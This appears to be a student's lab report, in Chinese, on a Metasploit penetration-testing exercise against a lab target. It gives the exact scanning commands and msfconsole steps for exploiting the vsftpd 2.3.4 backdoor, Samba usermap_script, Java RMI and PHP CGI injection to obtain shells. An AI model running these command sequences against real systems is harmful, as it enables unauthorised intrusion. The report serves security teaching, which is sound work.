20222428 2024-2025-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
1.1本周学习内容
本周学习了msf工具并进行多次实践。msf全称Metasploit Framework:是一个强大的渗透测试和安全漏洞检测工具,它提供了一系列工具和脚本,允许安全研究人员和渗透测试人员自动化地识别、利用和报告目标系统中的安全漏洞。
Metasploit Framework的核心是一个模块化的架构,用户可以通过这些模块来执行各种渗透测试任务。这些模块包括漏洞扫描器、密码破解工具、网络嗅探器、Web应用攻击工具等。此外,MSF还支持与各种第三方工具的集成,如Nmap、Hydra等,从而进一步扩展了其功能和灵活性。
1.2实验具体内容
1.前期渗透
主机发现:(可用Aux中的arp_sweep)
端口扫描:(可用nmap或Aux中的portscan/tcp等)
选做:扫系统版本、漏洞等。
2.利用Vsftpd源码包后门漏洞攻击
3.利用SambaMS-RPC Shell命令注入漏洞攻击
4.利用Java RMI SERVER命令执行漏洞攻击
5.利用PHP CGI参数执行注入漏洞攻击
2.实验过程
2.1前期渗透
1.主机发现
查看靶机的ip地址
靶机ip地址:172.16.219.194
kali主机输入以下命令:
msfconsole
search arp_sweep
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 172.16.219.192/26
2.端口与版本扫描
输入命令:nmap -sT -O 172.16.219.194
还可以msf下通过portscan/tcp扫描
在kali的msf中输入以下命令:
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.219.194
set PORTS 1-1024
run
查看SMB版本了解安全性
在kali的msf中输入以下命令:
search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 172.16.219.194
exploit
2.2利用Vsftpd源码包后门漏洞
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以:)为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
在kali的msf中输入以下命令:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 172.16.219.194
exploit/run
利用成功后执行uname –a、 pwd、 id命令
2.2利用SambaMS-RPC Shell命令注入漏洞
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/ bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
在kali的msf中输入以下命令:
use exploit/multi/samba/usermap_script
set RHOST 172.16.219.194
exploit
输入uname –a验证
2.4利用Java RMI SERVER命令执行漏洞
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
在kali的msf中输入以下命令:
use exploit/multi/misc/java_rmi_server
set RHOST 172.16.219.194
exploit/run
sessions -i id(id是当前建立会话id)
shell
输入whoami验证当前用户为root。
2.4利用PHP CGI参数执行注入漏洞
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali的msf中输入以下命令:
use exploit/multi/http/php_cgi_arg_injection
set RHOST 172.16.219.194
exploit/run
成功获取权限输入dir验证:
3.问题及解决方案
实验过程很顺利,未遇到问题。
4.学习感悟、思考等
在渗透测试的过程中,前期渗透阶段是基础且至关重要的。主机发现、端口扫描以及系统版本和漏洞的扫描为后续的攻击提供了关键信息。我深刻认识到,在网络安全领域,信息收集是制定有效攻击策略的前提。通过arp_sweep和nmap等工具,我能够迅速定位目标主机并识别其开放的端口和服务,为后续的攻击提供了方向。在实验中,我多次使用了Meterpreter这个强大的工具。通过Meterpreter,我能够执行各种命令和脚本,获取目标系统的详细信息并进行远程控制。这次实验是一次非常宝贵的学习经历。通过实践,我不仅掌握了渗透测试的基本技能和方法,还深刻体会到了网络安全的重要性和挑战性。